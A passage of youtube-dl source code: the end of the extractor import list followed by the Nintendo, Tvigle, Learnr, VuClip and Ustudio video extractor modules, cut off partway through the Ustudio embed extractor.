    CultureboxIE,
)
from .freesound import FreesoundIE
from .freespeech import FreespeechIE
from .freevideo import FreeVideoIE
from .funimation import FunimationIE
from .funnyordie import FunnyOrDieIE
from .fusion import FusionIE
from .fxnetworks import FXNetworksIE
from .gameinformer import GameInformerIE
from .gameone import (
    GameOneIE,
    GameOnePlaylistIE,
)
from .gamersyde import GamersydeIE
from .gamespot import GameSpotIE
from .gamestar import GameStarIE
from .gazeta import GazetaIE
from .gdcvault import GDCVaultIE
from .generic import GenericIE
from .gfycat import GfycatIE
from .giantbomb import GiantBombIE
from .giga import GigaIE
from .glide import GlideIE
from .globo import (
    GloboIE,
    GloboArticleIE,
)
from .godtube import GodTubeIE
from .godtv import GodTVIE
from .golem import GolemIE
from .googledrive import GoogleDriveIE
from .googleplus import GooglePlusIE
from .googlesearch import GoogleSearchIE
from .goshgay import GoshgayIE
from .gputechconf import GPUTechConfIE
from .groupon import GrouponIE
from .hark import HarkIE
from .hbo import HBOIE
from .hearthisat import HearThisAtIE
from .heise import HeiseIE
from .hellporno import HellPornoIE
from .helsinki import HelsinkiIE
from .hentaistigma import HentaiStigmaIE
from .hgtv import (
    HGTVIE,
    HGTVComShowIE,
)
from .historicfilms import HistoricFilmsIE
from .hitbox import HitboxIE, HitboxLiveIE
from .hornbunny import HornBunnyIE
from .hotnewhiphop import HotNewHipHopIE
from .hotstar import HotStarIE
from .howcast import HowcastIE
from .howstuffworks import HowStuffWorksIE
from .hrti import (
    HRTiIE,
    HRTiPlaylistIE,
)
from .huffpost import HuffPostIE
from .hypem import HypemIE
from .iconosquare import IconosquareIE
from .ign import (
    IGNIE,
    OneUPIE,
    PCMagIE,
)
from .imdb import (
    ImdbIE,
    ImdbListIE
)
from .imgur import (
    ImgurIE,
    ImgurAlbumIE,
)
from .ina import InaIE
from .indavideo import (
    IndavideoIE,
    IndavideoEmbedIE,
)
from .infoq import InfoQIE
from .instagram import InstagramIE, InstagramUserIE
from .internetvideoarchive import InternetVideoArchiveIE
from .iprima import IPrimaIE
from .iqiyi import IqiyiIE
from .ir90tv import Ir90TvIE
from .ivi import (
    IviIE,
    IviCompilationIE
)
from .ivideon import IvideonIE
from .izlesene import IzleseneIE
from .jeuxvideo import JeuxVideoIE
from .jove import JoveIE
from .jwplatform import JWPlatformIE
from .jpopsukitv import JpopsukiIE
from .kaltura import KalturaIE
from .kamcord import KamcordIE
from .kanalplay import KanalPlayIE
from .kankan import KankanIE
from .karaoketv import KaraoketvIE
from .karrierevideos import KarriereVideosIE
from .keezmovies import KeezMoviesIE
from .khanacademy import KhanAcademyIE
from .kickstarter import KickStarterIE
from .keek import KeekIE
from .konserthusetplay import KonserthusetPlayIE
from .kontrtube import KontrTubeIE
from .krasview import KrasViewIE
from .ku6 import Ku6IE
from .kusi import KUSIIE
from .kuwo import (
    KuwoIE,
    KuwoAlbumIE,
    KuwoChartIE,
    KuwoSingerIE,
    KuwoCategoryIE,
    KuwoMvIE,
)
from .la7 import LA7IE
from .laola1tv import Laola1TvIE
from .lcp import (
    LcpPlayIE,
    LcpIE,
)
from .learnr import LearnrIE
from .lecture2go import Lecture2GoIE
from .lemonde import LemondeIE
from .leeco import (
    LeIE,
    LePlaylistIE,
    LetvCloudIE,
)
from .libraryofcongress import LibraryOfCongressIE
from .libsyn import LibsynIE
from .lifenews import (
    LifeNewsIE,
    LifeEmbedIE,
)
from .limelight import (
    LimelightMediaIE,
    LimelightChannelIE,
    LimelightChannelListIE,
)
from .litv import LiTVIE
from .liveleak import LiveLeakIE
from .livestream import (
    LivestreamIE,
    LivestreamOriginalIE,
    LivestreamShortenerIE,
)
from .lnkgo import LnkGoIE
from .localnews8 import LocalNews8IE
from .lovehomeporn import LoveHomePornIE
from .lrt import LRTIE
from .lynda import (
    LyndaIE,
    LyndaCourseIE
)
from .m6 import M6IE
from .macgamestore import MacGameStoreIE
from .mailru import MailRuIE
from .makerschannel import MakersChannelIE
from .makertv import MakerTVIE
from .matchtv import MatchTVIE
from .mdr import MDRIE
from .meta import METAIE
from .metacafe import MetacafeIE
from .metacritic import MetacriticIE
from .mgoon import MgoonIE
from .mgtv import MGTVIE
from .microsoftvirtualacademy import (
    MicrosoftVirtualAcademyIE,
    MicrosoftVirtualAcademyCourseIE,
)
from .minhateca import MinhatecaIE
from .ministrygrid import MinistryGridIE
from .minoto import MinotoIE
from .miomio import MioMioIE
from .mit import TechTVMITIE, MITIE, OCWMITIE
from .mitele import MiTeleIE
from .mixcloud import (
    MixcloudIE,
    MixcloudUserIE,
    MixcloudPlaylistIE,
    MixcloudStreamIE,
)
from .mlb import MLBIE
from .mnet import MnetIE
from .mpora import MporaIE
from .moevideo import MoeVideoIE
from .mofosex import MofosexIE
from .mojvideo import MojvideoIE
from .moniker import MonikerIE
from .morningstar import MorningstarIE
from .motherless import MotherlessIE
from .motorsport import MotorsportIE
from .movieclips import MovieClipsIE
from .moviezine import MoviezineIE
from .msn import MSNIE
from .mtv import (
    MTVIE,
    MTVServicesEmbeddedIE,
    MTVDEIE,
)
from .muenchentv import MuenchenTVIE
from .musicplayon import MusicPlayOnIE
from .mwave import MwaveIE, MwaveMeetGreetIE
from .myspace import MySpaceIE, MySpaceAlbumIE
from .myspass import MySpassIE
from .myvi import MyviIE
from .myvideo import MyVideoIE
from .myvidster import MyVidsterIE
from .nationalgeographic import (
    NationalGeographicVideoIE,
    NationalGeographicIE,
    NationalGeographicEpisodeGuideIE,
)
from .naver import NaverIE
from .nba import NBAIE
from .nbc import (
    CSNNEIE,
    NBCIE,
    NBCNewsIE,
    NBCSportsIE,
    NBCSportsVPlayerIE,
)
from .ndr import (
    NDRIE,
    NJoyIE,
    NDREmbedBaseIE,
    NDREmbedIE,
    NJoyEmbedIE,
)
from .ndtv import NDTVIE
from .netzkino import NetzkinoIE
from .nerdcubed import NerdCubedFeedIE
from .neteasemusic import (
    NetEaseMusicIE,
    NetEaseMusicAlbumIE,
    NetEaseMusicSingerIE,
    NetEaseMusicListIE,
    NetEaseMusicMvIE,
    NetEaseMusicProgramIE,
    NetEaseMusicDjRadioIE,
)
from .newgrounds import NewgroundsIE
from .newstube import NewstubeIE
from .nextmedia import (
    NextMediaIE,
    NextMediaActionNewsIE,
    AppleDailyIE,
)
from .nfb import NFBIE
from .nfl import NFLIE
from .nhl import (
    NHLVideocenterIE,
    NHLNewsIE,
    NHLVideocenterCategoryIE,
    NHLIE,
)
from .nick import (
    NickIE,
    NickDeIE,
)
from .niconico import NiconicoIE, NiconicoPlaylistIE
from .ninecninemedia import NineCNineMediaIE
from .ninegag import NineGagIE
from .ninenow import NineNowIE
from .nintendo import NintendoIE
from .noco import NocoIE
from .normalboots import NormalbootsIE
from .nosvideo import NosVideoIE
from .nova import NovaIE
from .novamov import (
    AuroraVidIE,
    CloudTimeIE,
    NowVideoIE,
    VideoWeedIE,
    WholeCloudIE,
)
from .nowness import (
    NownessIE,
    NownessPlaylistIE,
    NownessSeriesIE,
)
from .nowtv import (
    NowTVIE,
    NowTVListIE,
)
from .noz import NozIE
from .npo import (
    NPOIE,
    NPOLiveIE,
    NPORadioIE,
    NPORadioFragmentIE,
    SchoolTVIE,
    VPROIE,
    WNLIE
)
from .npr import NprIE
from .nrk import (
    NRKIE,
    NRKPlaylistIE,
    NRKSkoleIE,
    NRKTVIE,
)
from .ntvde import NTVDeIE
from .ntvru import NTVRuIE
from .nytimes import (
    NYTimesIE,
    NYTimesArticleIE,
)
from .nuvid import NuvidIE
from .odatv import OdaTVIE
from .odnoklassniki import OdnoklassnikiIE
from .oktoberfesttv import OktoberfestTVIE
from .onet import (
    OnetIE,
    OnetChannelIE,
)
from .onionstudios import OnionStudiosIE
from .ooyala import (
    OoyalaIE,
    OoyalaExternalIE,
)
from .openload import OpenloadIE
from .ora import OraTVIE
from .orf import (
    ORFTVthekIE,
    ORFOE1IE,
    ORFFM4IE,
    ORFIPTVIE,
)
from .pandoratv import PandoraTVIE
from .parliamentliveuk import ParliamentLiveUKIE
from .patreon import PatreonIE
from .pbs import PBSIE
from .people import PeopleIE
from .periscope import (
    PeriscopeIE,
    PeriscopeUserIE,
)
from .philharmoniedeparis import PhilharmonieDeParisIE
from .phoenix import PhoenixIE
from .photobucket import PhotobucketIE
from .pinkbike import PinkbikeIE
from .pladform import PladformIE
from .played import PlayedIE
from .playfm import PlayFMIE
from .plays import PlaysTVIE
from .playtvak import PlaytvakIE
from .playvid import PlayvidIE
from .playwire import PlaywireIE
from .pluralsight import (
    PluralsightIE,
    PluralsightCourseIE,
)
from .podomatic import PodomaticIE
from .pokemon import PokemonIE
from .polskieradio import PolskieRadioIE
from .porn91 import Porn91IE
from .porncom import PornComIE
from .pornhd import PornHdIE
from .pornhub import (
    PornHubIE,
    PornHubPlaylistIE,
    PornHubUserVideosIE,
)
from .pornotube import PornotubeIE
from .pornovoisines import PornoVoisinesIE
from .pornoxo import PornoXOIE
from .presstv import PressTVIE
from .primesharetv import PrimeShareTVIE
from .promptfile import PromptFileIE
from .prosiebensat1 import ProSiebenSat1IE
from .puls4 import Puls4IE
from .pyvideo import PyvideoIE
from .qqmusic import (
    QQMusicIE,
    QQMusicSingerIE,
    QQMusicAlbumIE,
    QQMusicToplistIE,
    QQMusicPlaylistIE,
)
from .r7 import (
    R7IE,
    R7ArticleIE,
)
from .radiocanada import (
    RadioCanadaIE,
    RadioCanadaAudioVideoIE,
)
from .radiode import RadioDeIE
from .radiojavan import RadioJavanIE
from .radiobremen import RadioBremenIE
from .radiofrance import RadioFranceIE
from .rai import (
    RaiTVIE,
    RaiIE,
)
from .rbmaradio import RBMARadioIE
from .rds import RDSIE
from .redtube import RedTubeIE
from .regiotv import RegioTVIE
from .restudy import RestudyIE
from .reuters import ReutersIE
from .reverbnation import ReverbNationIE
from .revision3 import (
    Revision3EmbedIE,
    Revision3IE,
)
from .rice import RICEIE
from .ringtv import RingTVIE
from .ro220 import Ro220IE
from .rockstargames import RockstarGamesIE
from .roosterteeth import RoosterTeethIE
from .rottentomatoes import RottenTomatoesIE
from .roxwel import RoxwelIE
from .rozhlas import RozhlasIE
from .rtbf import RTBFIE
from .rte import RteIE, RteRadioIE
from .rtlnl import RtlNlIE
from .rtl2 import RTL2IE
from .rtp import RTPIE
from .rts import RTSIE
from .rtve import RTVEALaCartaIE, RTVELiveIE, RTVEInfantilIE, RTVELiveIE, RTVETelevisionIE
from .rtvnh import RTVNHIE
from .rudo import RudoIE
from .ruhd import RUHDIE
from .ruleporn import RulePornIE
from .rutube import (
    RutubeIE,
    RutubeChannelIE,
    RutubeEmbedIE,
    RutubeMovieIE,
    RutubePersonIE,
)
from .rutv import RUTVIE
from .ruutu import RuutuIE
from .sandia import SandiaIE
from .safari import (
    SafariIE,
    SafariApiIE,
    SafariCourseIE,
)
from .sapo import SapoIE
from .savefrom import SaveFromIE
from .sbs import SBSIE
from .scivee import SciVeeIE
from .screencast import ScreencastIE
from .screencastomatic import ScreencastOMaticIE
from .screenjunkies import ScreenJunkiesIE
from .screenwavemedia import ScreenwaveMediaIE, TeamFourIE
from .seeker import SeekerIE
from .senateisvp import SenateISVPIE
from .sendtonews import SendtoNewsIE
from .servingsys import ServingSysIE
from .sexu import SexuIE
from .shahid import ShahidIE
from .shared import SharedIE
from .sharesix import ShareSixIE
from .sina import SinaIE
from .sixplay import SixPlayIE
from .skynewsarabia import (
    SkyNewsArabiaIE,
    SkyNewsArabiaArticleIE,
)
from .skysports import SkySportsIE
from .slideshare import SlideshareIE
from .slutload import SlutloadIE
from .smotri import (
    SmotriIE,
    SmotriCommunityIE,
    SmotriUserIE,
    SmotriBroadcastIE,
)
from .snotr import SnotrIE
from .sohu import SohuIE
from .sonyliv import SonyLIVIE
from .soundcloud import (
    SoundcloudIE,
    SoundcloudSetIE,
    SoundcloudUserIE,
    SoundcloudPlaylistIE,
    SoundcloudSearchIE
)
from .soundgasm import (
    SoundgasmIE,
    SoundgasmProfileIE
)
from .southpark import (
    SouthParkIE,
    SouthParkDeIE,
    SouthParkDkIE,
    SouthParkEsIE,
    SouthParkNlIE
)
from .spankbang import SpankBangIE
from .spankwire import SpankwireIE
from .spiegel import SpiegelIE, SpiegelArticleIE
from .spiegeltv import SpiegeltvIE
from .spike import SpikeIE
from .stitcher import StitcherIE
from .sport5 import Sport5IE
from .sportbox import (
    SportBoxIE,
    SportBoxEmbedIE,
)
from .sportdeutschland import SportDeutschlandIE
from .sportschau import SportschauIE
from .srgssr import (
    SRGSSRIE,
    SRGSSRPlayIE,
)
from .srmediathek import SRMediathekIE
from .ssa import SSAIE
from .stanfordoc import StanfordOpenClassroomIE
from .steam import SteamIE
from .streamable import StreamableIE
from .streamcloud import StreamcloudIE
from .streamcz import StreamCZIE
from .streetvoice import StreetVoiceIE
from .sunporno import SunPornoIE
from .svt import (
    SVTIE,
    SVTPlayIE,
)
from .swrmediathek import SWRMediathekIE
from .syfy import SyfyIE
from .sztvhu import SztvHuIE
from .tagesschau import (
    TagesschauPlayerIE,
    TagesschauIE,
)
from .tass import TassIE
from .tdslifeway import TDSLifewayIE
from .teachertube import (
    TeacherTubeIE,
    TeacherTubeUserIE,
)
from .teachingchannel import TeachingChannelIE
from .teamcoco import TeamcocoIE
from .techtalks import TechTalksIE
from .ted import TEDIE
from .tele13 import Tele13IE
from .telebruxelles import TeleBruxellesIE
from .telecinco import TelecincoIE
from .telegraaf import TelegraafIE
from .telemb import TeleMBIE
from .teletask import TeleTaskIE
from .telewebion import TelewebionIE
from .testurl import TestURLIE
from .tf1 import TF1IE
from .theintercept import TheInterceptIE
from .theplatform import (
    ThePlatformIE,
    ThePlatformFeedIE,
)
from .thescene import TheSceneIE
from .thesixtyone import TheSixtyOneIE
from .thestar import TheStarIE
from .thisamericanlife import ThisAmericanLifeIE
from .thisav import ThisAVIE
from .threeqsdn import ThreeQSDNIE
from .tinypic import TinyPicIE
from .tlc import TlcDeIE
from .tmz import (
    TMZIE,
    TMZArticleIE,
)
from .tnaflix import (
    TNAFlixNetworkEmbedIE,
    TNAFlixIE,
    EMPFlixIE,
    MovieFapIE,
)
from .toggle import ToggleIE
from .thvideo import (
    THVideoIE,
    THVideoPlaylistIE
)
from .toutv import TouTvIE
from .toypics import ToypicsUserIE, ToypicsIE
from .traileraddict import TrailerAddictIE
from .trilulilu import TriluliluIE
from .trollvids import TrollvidsIE
from .trutube import TruTubeIE
from .tube8 import Tube8IE
from .tubitv import TubiTvIE
from .tudou import (
    TudouIE,
    TudouPlaylistIE,
    TudouAlbumIE,
)
from .tumblr import TumblrIE
from .tunein import (
    TuneInClipIE,
    TuneInStationIE,
    TuneInProgramIE,
    TuneInTopicIE,
    TuneInShortenerIE,
)
from .turbo import TurboIE
from .tutv import TutvIE
from .tv2 import (
    TV2IE,
    TV2ArticleIE,
)
from .tv3 import TV3IE
from .tv4 import TV4IE
from .tvc import (
    TVCIE,
    TVCArticleIE,
)
from .tvigle import TvigleIE
from .tvland import TVLandIE
from .tvp import (
    TVPEmbedIE,
    TVPIE,
    TVPSeriesIE,
)
from .tvplay import (
    TVPlayIE,
    ViafreeIE,
)
from .tweakers import TweakersIE
from .twentyfourvideo import TwentyFourVideoIE
from .twentymin import TwentyMinutenIE
from .twentytwotracks import (
    TwentyTwoTracksIE,
    TwentyTwoTracksGenreIE
)
from .twitch import (
    TwitchVideoIE,
    TwitchChapterIE,
    TwitchVodIE,
    TwitchProfileIE,
    TwitchPastBroadcastsIE,
    TwitchStreamIE,
    TwitchClipsIE,
)
from .twitter import (
    TwitterCardIE,
    TwitterIE,
    TwitterAmplifyIE,
)
from .udemy import (
    UdemyIE,
    UdemyCourseIE
)
from .udn import UDNEmbedIE
from .digiteka import DigitekaIE
from .unistra import UnistraIE
from .uol import UOLIE
from .uplynk import (
    UplynkIE,
    UplynkPreplayIE,
)
from .urort import UrortIE
from .urplay import URPlayIE
from .usatoday import USATodayIE
from .ustream import UstreamIE, UstreamChannelIE
from .ustudio import (
    UstudioIE,
    UstudioEmbedIE,
)
from .varzesh3 import Varzesh3IE
from .vbox7 import Vbox7IE
from .veehd import VeeHDIE
from .veoh import VeohIE
from .vessel import VesselIE
from .vesti import VestiIE
from .vevo import (
    VevoIE,
    VevoPlaylistIE,
)
from .vgtv import (
    BTArticleIE,
    BTVestlendingenIE,
    VGTVIE,
)
from .vh1 import VH1IE
from .vice import (
    ViceIE,
    ViceShowIE,
)
from .viceland import VicelandIE
from .vidbit import VidbitIE
from .viddler import ViddlerIE
from .videodetective import VideoDetectiveIE
from .videofyme import VideofyMeIE
from .videomega import VideoMegaIE
from .videomore import (
    VideomoreIE,
    VideomoreVideoIE,
    VideomoreSeasonIE,
)
from .videopremium import VideoPremiumIE
from .videott import VideoTtIE
from .vidio import VidioIE
from .vidme import (
    VidmeIE,
    VidmeUserIE,
    VidmeUserLikesIE,
)
from .vidzi import VidziIE
from .vier import VierIE, VierVideosIE
from .viewlift import (
    ViewLiftIE,
    ViewLiftEmbedIE,
)
from .viewster import ViewsterIE
from .viidea import ViideaIE
from .vimeo import (
    VimeoIE,
    VimeoAlbumIE,
    VimeoChannelIE,
    VimeoGroupsIE,
    VimeoLikesIE,
    VimeoOndemandIE,
    VimeoReviewIE,
    VimeoUserIE,
    VimeoWatchLaterIE,
)
from .vimple import VimpleIE
from .vine import (
    VineIE,
    VineUserIE,
)
from .viki import (
    VikiIE,
    VikiChannelIE,
)
from .vk import (
    VKIE,
    VKUserVideosIE,
    VKWallPostIE,
)
from .vlive import VLiveIE
from .vodlocker import VodlockerIE
from .vodplatform import VODPlatformIE
from .voicerepublic import VoiceRepublicIE
from .voxmedia import VoxMediaIE
from .vporn import VpornIE
from .vrt import VRTIE
from .vube import VubeIE
from .vuclip import VuClipIE
from .walla import WallaIE
from .washingtonpost import (
    WashingtonPostIE,
    WashingtonPostArticleIE,
)
from .wat import WatIE
from .watchindianporn import WatchIndianPornIE
from .wdr import (
    WDRIE,
    WDRMobileIE,
)
from .webofstories import (
    WebOfStoriesIE,
    WebOfStoriesPlaylistIE,
)
from .weiqitv import WeiqiTVIE
from .wimp import WimpIE
from .wistia import WistiaIE
from .worldstarhiphop import WorldStarHipHopIE
from .wrzuta import (
    WrzutaIE,
    WrzutaPlaylistIE,
)
from .wsj import WSJIE
from .xbef import XBefIE
from .xboxclips import XboxClipsIE
from .xfileshare import XFileShareIE
from .xhamster import (
    XHamsterIE,
    XHamsterEmbedIE,
)
from .xiami import (
    XiamiSongIE,
    XiamiAlbumIE,
    XiamiArtistIE,
    XiamiCollectionIE
)
from .xminus import XMinusIE
from .xnxx import XNXXIE
from .xstream import XstreamIE
from .xtube import XTubeUserIE, XTubeIE
from .xuite import XuiteIE
from .xvideos import XVideosIE
from .xxxymovies import XXXYMoviesIE
from .yahoo import (
    YahooIE,
    YahooSearchIE,
)
from .yam import YamIE
from .yandexmusic import (
    YandexMusicTrackIE,
    YandexMusicAlbumIE,
    YandexMusicPlaylistIE,
)
from .yesjapan import YesJapanIE
from .yinyuetai import YinYueTaiIE
from .ynet import YnetIE
from .youjizz import YouJizzIE
from .youku import (
    YoukuIE,
    YoukuShowIE,
)
from .youporn import YouPornIE
from .yourupload import YourUploadIE
from .youtube import (
    YoutubeIE,
    YoutubeChannelIE,
    YoutubeFavouritesIE,
    YoutubeHistoryIE,
    YoutubeLiveIE,
    YoutubePlaylistIE,
    YoutubePlaylistsIE,
    YoutubeRecommendedIE,
    YoutubeSearchDateIE,
    YoutubeSearchIE,
    YoutubeSearchURLIE,
    YoutubeSharedVideoIE,
    YoutubeShowIE,
    YoutubeSubscriptionsIE,
    YoutubeTruncatedIDIE,
    YoutubeTruncatedURLIE,
    YoutubeUserIE,
    YoutubeWatchLaterIE,
)
from .zapiks import ZapiksIE
from .zdf import ZDFIE, ZDFChannelIE
from .zingmp3 import ZingMp3IE






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from .ooyala import OoyalaIE
from ..utils import unescapeHTML


class NintendoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?nintendo\.com/games/detail/(?P<id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://www.nintendo.com/games/detail/yEiAzhU2eQI1KZ7wOHhngFoAHc1FpHwj',
        'info_dict': {
            'id': 'MzMmticjp0VPzO3CCj4rmFOuohEuEWoW',
            'ext': 'flv',
            'title': 'Duck Hunt Wii U VC NES - Trailer',
            'duration': 60.326,
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['Ooyala'],
    }, {
        'url': 'http://www.nintendo.com/games/detail/tokyo-mirage-sessions-fe-wii-u',
        'info_dict': {
            'id': 'tokyo-mirage-sessions-fe-wii-u',
            'title': 'Tokyo Mirage Sessions ♯FE',
        },
        'playlist_count': 3,
    }]

    def _real_extract(self, url):
        page_id = self._match_id(url)

        webpage = self._download_webpage(url, page_id)

        entries = [
            OoyalaIE._build_url_result(m.group('code'))
            for m in re.finditer(
                r'class=(["\'])embed-video\1[^>]+data-video-code=(["\'])(?P<code>(?:(?!\2).)+)\2',
                webpage)]

        return self.playlist_result(
            entries, page_id, unescapeHTML(self._og_search_title(webpage, fatal=False)))






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    float_or_none,
    int_or_none,
    parse_age_limit,
)


class TvigleIE(InfoExtractor):
    IE_NAME = 'tvigle'
    IE_DESC = 'Интернет-телевидение Tvigle.ru'
    _VALID_URL = r'https?://(?:www\.)?(?:tvigle\.ru/(?:[^/]+/)+(?P<display_id>[^/]+)/$|cloud\.tvigle\.ru/video/(?P<id>\d+))'

    _TESTS = [
        {
            'url': 'http://www.tvigle.ru/video/sokrat/',
            'md5': '36514aed3657d4f70b4b2cef8eb520cd',
            'info_dict': {
                'id': '1848932',
                'display_id': 'sokrat',
                'ext': 'flv',
                'title': 'Сократ',
                'description': 'md5:d6b92ffb7217b4b8ebad2e7665253c17',
                'duration': 6586,
                'age_limit': 12,
            },
            'skip': 'georestricted',
        },
        {
            'url': 'http://www.tvigle.ru/video/vladimir-vysotskii/vedushchii-teleprogrammy-60-minut-ssha-o-vladimire-vysotskom/',
            'md5': 'e7efe5350dd5011d0de6550b53c3ba7b',
            'info_dict': {
                'id': '5142516',
                'ext': 'flv',
                'title': 'Ведущий телепрограммы «60 минут» (США) о Владимире Высоцком',
                'description': 'md5:027f7dc872948f14c96d19b4178428a4',
                'duration': 186.080,
                'age_limit': 0,
            },
            'skip': 'georestricted',
        }, {
            'url': 'https://cloud.tvigle.ru/video/5267604/',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        if not video_id:
            webpage = self._download_webpage(url, display_id)
            video_id = self._html_search_regex(
                (r'<div[^>]+class=["\']player["\'][^>]+id=["\'](\d+)',
                 r'var\s+cloudId\s*=\s*["\'](\d+)',
                 r'class="video-preview current_playing" id="(\d+)"'),
                webpage, 'video id')

        video_data = self._download_json(
            'http://cloud.tvigle.ru/api/play/video/%s/' % video_id, display_id)

        item = video_data['playlist']['items'][0]

        videos = item.get('videos')

        error_message = item.get('errorMessage')
        if not videos and error_message:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error_message), expected=True)

        title = item['title']
        description = item.get('description')
        thumbnail = item.get('thumbnail')
        duration = float_or_none(item.get('durationMilliseconds'), 1000)
        age_limit = parse_age_limit(item.get('ageRestrictions'))

        formats = []
        for vcodec, fmts in item['videos'].items():
            if vcodec == 'hls':
                continue
            for format_id, video_url in fmts.items():
                if format_id == 'm3u8':
                    continue
                height = self._search_regex(
                    r'^(\d+)[pP]$', format_id, 'height', default=None)
                formats.append({
                    'url': video_url,
                    'format_id': '%s-%s' % (vcodec, format_id),
                    'vcodec': vcodec,
                    'height': int_or_none(height),
                    'filesize': int_or_none(item.get('video_files_size', {}).get(vcodec, {}).get(format_id)),
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'age_limit': age_limit,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class LearnrIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?learnr\.pro/view/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.learnr.pro/view/video/51624-web-development-tutorial-for-beginners-1-how-to-build-webpages-with-html-css-javascript',
        'md5': '3719fdf0a68397f49899e82c308a89de',
        'info_dict': {
            'id': '51624',
            'ext': 'mp4',
            'title': 'Web Development Tutorial for Beginners (#1) - How to build webpages with HTML, CSS, Javascript',
            'description': 'md5:b36dbfa92350176cdf12b4d388485503',
            'uploader': 'LearnCode.academy',
            'uploader_id': 'learncodeacademy',
            'upload_date': '20131021',
        },
        'add_ie': ['Youtube'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        return {
            '_type': 'url_transparent',
            'url': self._search_regex(
                r"videoId\s*:\s*'([^']+)'", webpage, 'youtube id'),
            'id': video_id,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlparse,
)
from ..utils import (
    ExtractorError,
    parse_duration,
    remove_end,
)


class VuClipIE(InfoExtractor):
    _VALID_URL = r'https?://(?:m\.)?vuclip\.com/w\?.*?cid=(?P<id>[0-9]+)'

    _TEST = {
        'url': 'http://m.vuclip.com/w?cid=1129900602&bu=8589892792&frm=w&z=34801&op=0&oc=843169247&section=recommend',
        'info_dict': {
            'id': '1129900602',
            'ext': '3gp',
            'title': 'Top 10 TV Convicts',
            'duration': 733,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        ad_m = re.search(
            r'''value="No.*?" onClick="location.href='([^"']+)'"''', webpage)
        if ad_m:
            urlr = compat_urllib_parse_urlparse(url)
            adfree_url = urlr.scheme + '://' + urlr.netloc + ad_m.group(1)
            webpage = self._download_webpage(
                adfree_url, video_id, note='Download post-ad page')

        error_msg = self._html_search_regex(
            r'<p class="message">(.*?)</p>', webpage, 'error message',
            default=None)
        if error_msg:
            raise ExtractorError(
                '%s said: %s' % (self.IE_NAME, error_msg), expected=True)

        # These clowns alternate between two page types
        video_url = self._search_regex(
            r'<a[^>]+href="([^"]+)"[^>]*><img[^>]+src="[^"]*/play\.gif',
            webpage, 'video URL', default=None)
        if video_url:
            formats = [{
                'url': video_url,
            }]
        else:
            formats = self._parse_html5_media_entries(url, webpage, video_id)[0]['formats']

        title = remove_end(self._html_search_regex(
            r'<title>(.*?)-\s*Vuclip</title>', webpage, 'title').strip(), ' - Video')

        duration = parse_duration(self._html_search_regex(
            r'[(>]([0-9]+:[0-9]+)(?:<span|\))', webpage, 'duration', fatal=False))

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'duration': duration,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    unified_strdate,
    unescapeHTML,
)


class UstudioIE(InfoExtractor):
    IE_NAME = 'ustudio'
    _VALID_URL = r'https?://(?:(?:www|v1)\.)?ustudio\.com/video/(?P<id>[^/]+)/(?P<display_id>[^/?#&]+)'
    _TEST = {
        'url': 'http://ustudio.com/video/Uxu2my9bgSph/san_francisco_golden_gate_bridge',
        'md5': '58bbfca62125378742df01fc2abbdef6',
        'info_dict': {
            'id': 'Uxu2my9bgSph',
            'display_id': 'san_francisco_golden_gate_bridge',
            'ext': 'mp4',
            'title': 'San Francisco: Golden Gate Bridge',
            'description': 'md5:23925500697f2c6d4830e387ba51a9be',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20111107',
            'uploader': 'Tony Farley',
        }
    }

    def _real_extract(self, url):
        video_id, display_id = re.match(self._VALID_URL, url).groups()

        config = self._download_xml(
            'http://v1.ustudio.com/embed/%s/ustudio/config.xml' % video_id,
            display_id)

        def extract(kind):
            return [{
                'url': unescapeHTML(item.attrib['url']),
                'width': int_or_none(item.get('width')),
                'height': int_or_none(item.get('height')),
            } for item in config.findall('./qualities/quality/%s' % kind) if item.get('url')]

        formats = extract('video')
        self._sort_formats(formats)

        webpage = self._download_webpage(url, display_id)

        title = self._og_search_title(webpage)
        upload_date = unified_strdate(self._search_regex(
            r'(?s)Uploaded by\s*.+?\s*on\s*<span>([^<]+)</span>',
            webpage, 'upload date', fatal=False))
        uploader = self._search_regex(
            r'Uploaded by\s*<a[^>]*>([^<]+)<',
            webpage, 'uploader', fatal=False)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': self._og_search_description(webpage),
            'thumbnails': extract('image'),
            'upload_date': upload_date,
            'uploader': uploader,
            'formats': formats,
        }


class UstudioEmbedIE(InfoExtractor):
    IE_NAME = 'ustudio:embed'
    _VALID_URL = r'https?://(?:(?:app|embed)\.)?ustudio\.com/embed/(?P<uid>[^/]+)/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://app.ustudio.com/embed/DeN7VdYRDKhP/Uw7G1kMCe65T',
        'md5': '47c0be52a09b23a7f40de9469cec58f4',
        'info_dict': {
            'id': 'Uw7G1kMCe65T',
            'ext': 'mp4',
            'title': '5 Things IT Should Know About Video',
            'description': 'md5:93d32650884b500115e158c5677d25ad',
            'uploader_id': 'DeN7VdYRDKhP',
        }
    }

    def _real_extract(self, url):
        uploader_id, video_id = re.match(self._VALID_URL, url).groups()
        video_data = self._download_json(
            'http://app.ustudio.com/embed/%s/%s/config.json' % (uploader_id, video_id),
            video_id)['videos'][0]
        title = video_data['name']

        formats = []
        for ext, qualities in video_data.get('transcodes', {}).items():
            for quality in qualities:
                quality_url = quality.get('url')
